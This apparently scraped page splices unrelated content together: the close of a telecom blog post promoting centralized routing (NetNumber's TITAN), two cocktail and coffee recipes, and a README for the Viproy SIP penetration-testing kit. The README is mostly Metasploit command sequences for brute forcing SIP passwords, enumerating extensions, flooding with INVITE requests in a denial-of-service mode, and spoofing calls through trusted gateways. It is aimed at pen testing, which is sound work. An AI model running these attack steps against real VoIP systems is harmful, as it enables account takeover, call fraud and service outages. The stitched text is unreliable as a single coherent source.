3. Faster deployment of new services:  Centralized-routing empowers a carrier/operator to implement new value added services by changing service-logic in just one logical location.  No need to schedule upgrades to every network element to deliver a new value added service.  This concept was first introduced into the SS7/C7 network with the delivery of SCP (service control points) and it has been perfected in the next-generation network through use of centralized routing and database services.
4. Real time routing updates:  Routing changes are provisioned in one spot in the network and are made available in real-time to any number of distributed network elements via any number of standard query protocols.  By comparison, the old in-switch routing model required a laborious process of updating every switch in the network in an organized fashion.  Roll-back was equally tedious and fraught with risk.

Despite the obvious elegance of a centralized routing architecture, many customers find it difficult to break away from the long history of provisioning a separate in-switch routing database for each switch in the network.  Using an “in-switch” routing engine seems simple at first but it leads to a network where cost and complexity grow with the deployment of every new network element.  On top of that, as networks converge and new services are introduced, it becomes apparent that many in-switch routing engines contain functional limitations that hamper growth.  The challenge of growth in the “in-switch” routing model is higher-operating cost and slower deployment of services.  By comparison, the reward of migrating to centralized-routing is lower operating costs and faster deployment of new services.

The NetNumber team has found that the transition from “in-switch” routing to “centralized-routing” typically takes place over a period of time.  The migration from TDM to SIP services is providing carriers and operators with the perfect opportunity to grow into the new centralized routing architecture.  The NetNumber team has been working with carriers and operators for the past 13 years to help facilitate this transition through the delivery of a multi-protocol, multi-service, centralized routing application called TITAN.  I’ll use real world use—cases from TITAN deployments as a mechanism for exploring how different operators are making use of a CRF or Centralized Routing Function.

Below is a diagram that shows one use-case example of how the NetNumber TITAN is commonly deployed to fulfill the role of a multi-protocol CRF in a converted TDM and SIP network.  TITAN is a widely deployed example of a centralized routing engine so it offers us a large set of real-world use cases that we can leverage to fully explore this subject in detail.  I’ll refer back to this high-level architecture in future posts to this blog when I discuss real-world use-cases.

In summary, practical carrier/operator experience has shown that there are four compelling reasons to include a centralized routing function (CRF) in the next-generation network (Operational Cost Savings, Vendor Independence, Faster Deployment of New Services and Real-Time Routing Updates).  Although the high-level benefits are obviously compelling the process of moving an industry from 100-years of “in-switch routing” to “centralized routing” is likely to take an extended time to complete but the journey is well underway.

Let’s try to make progress every day.  Thanks for your time.  More to come - DJR

Posting updates via twitter @Douglas_Ranalli

Strawberry Balsamic Smash 

Adapted from: Bon Appetit

1. Muddle the following in a cocktail shaker 4-5 times to release the juices:

• 2 lime wedges
• 2 1.2″ rounds of cucumber
• 1 hulled strawberry
• 1 Tbsp Simple Syrup
• 1.5 tsp. balsamic vinegar

2. Add 1/4 cup of gin

3. Pour gin mixture to Low Ball glass filled halfway with crushed ice.

4. Stir, then cover with more crushed ice.

5. Garnish with cucumber and/or strawberry.

Almost-Famous Mocha Frappes 

For the coffee ice:

3              tablespoons sugar

2              cups warm strong coffee

For the chocolate syrup:

2/3         cup sugar

1/2         cup unsweetened cocoa powder

1              ounce milk chocolate, finely chopped

1 1/2      teaspoons honey

1/2         teaspoon vanilla extract

For the frappes:

1              cup reduced-fat milk

Whipped cream, for topping

Directions:

Make the coffee ice: Stir the sugar into the coffee until dissolved, then let cool. Pour into a 16-cube ice-cube tray and freeze until solid, about 3 hours.

Make the chocolate syrup: Combine the sugar and cocoa powder in a saucepan and slowly whisk in 2/3 cup hot water. Bring to a simmer over medium heat, whisking, until the sugar dissolves, 3 to 5 minutes; do not boil. Remove from the heat and stir in the chocolate, honey and vanilla until smooth. Transfer to a bowl and refrigerate until cool.

Make the frappes: Puree 8 coffee ice cubes, 1/2 cup milk, 1/3 to 1/2 cup chocolate syrup and 1 cup plain ice in a blender until smooth. Pour into 2 glasses, then repeat to make 2 more drinks. Top with whipped cream and more chocolate syrup.

Project Page : http://www.github.com/fozavci/viproy-voipkit
Download : https://github.com/fozavci/viproy-voipkit/archive/master.zip

Viproy Voip Pen-Test Kit is developed to improve quality of SIP Penetration Tests. It provides authentication feature that helps to create simple tests. It includes 7 different modules with authentication support: options tester, brute forcer, enumerator, invite tester, trust analyzer, proxy and registration tester. All attacks could perform before and after authentication to fuzz SIP services and value added services.

SIP Pen-test guide will be published soon. Basic Usage of Modules are presented below, it can be used before guide. All modules have DEBUG and VERBOSE supports

Preparing Test Network

VulnVOIP is vulnerable SIP server, you can use it for tests
VulnVOIP : http://www.rebootuser.com/?cat=371

Installation

Copy “lib” and “modules” folders’ content to Metasploit Root Directory.
Mixins.rb File (lib/msf/core/auxiliary/mixins.rb) Should Contain This Line
require ‘msf/core/auxiliary/sip’

Videos & Papers

Attacking and Hacking SIP Services – Video

It’s rendering, it will be available soon.

Sample Usage Video

http://www.youtube.com/watch?v=1vDTujNVKGM

Hacking Trust Relationships of SIP/NGN Gateways – Video

http://www.youtube.com/watch?v=BVJq2yrHYhI

Hacking Trust Relationships Between SIP Gateways (PDF)

http://viproy.com/files/siptrust.pdf

Usage

Global Settings

setg CHOST 192.168.1.99 #Local Host
setg CPORT 5099 #Local Port
setg RHOSTS 192.168.1.1-254 #Target Network
setg RHOST 192.168.1.201 #Target Host

Basic Usage of OPTIONS Module

use auxiliary/scanner/sip/vsipoptions
show options
set THREADS 255
run

Basic Usage of REGISTER Module

use auxiliary/scanner/sip/vsipregister
show options
run

set LOGIN true
set USERNAME 101
set PASSWORD s3cur3
run

Basic Usage of INVITE Module

use auxiliary/scanner/sip/vsipinvite
set FROM 2000
set TO 1000
run

set LOGIN true
set FROM 102
set USERNAME 102
set PASSWORD letmein123
run

set DOS_MODE true
set NUMERIC_USERS true
set NUMERIC_MIN 200
set NUMERIC_MAX 205
run

Basic Usage of ENUMERATOR Module

use auxiliary/scanner/sip/vsipenumerator
show options
unset USERNAME
set USER_FILE /tmp/files/users2
set VERBOSE false
set METHOD SUBSCRIBE
run

unset USER_FILE
set METHOD SUBSCRIBE
set NUMERIC_USERS true
set NUMERIC_MAX 2300
run

set METHOD REGISTER
run

Basic Usage of BRUTE FORCE Module

use auxiliary/scanner/sip/vsipbruteforce
show options
set RHOST 192.168.1.201
set USERNAME 2000
set PASS_FILE /tmp/files/passwords
set VERBOSE false
run

unset USERNAME
set USER_FILE /tmp/files/users2
run

unset USER_FILE
set NUMERIC_USERS true
set NUMERIC_MAX 500
run

Basic Usage of Trust Analyzer Module

use auxiliary/scanner/sip/vsiptrust
show options
set SRC_RHOSTS 192.168.1.200-210
set SRC_RPORTS 5060
set SIP_SERVER 192.168.1.201
set INTERFACE eth0
set TO 101
run

show options
set ACTION CALL
set SRC_RHOSTS 192.168.1.202
set FROM James Bond
run

Basic Usage of SIP Proxy Module

use auxiliary/scanner/sip/vsipproxy
show options
set PRXCLT_PORT 5060
set PRXCLT_IP 192.168.1.99
set PRXSRV_PORT 5089
set PRXSRV_IP 192.168.1.99
set CLIENT_IP 192.168.1.120
set CLIENT_PORT 5060
set SERVER_IP 192.168.1.201
set SERVER_PORT 5060
set CONF_FILE /tmp/sipproxy_replace.txt
set LOG true
set VERBOSE false
run

Credit: Fatih Ozavci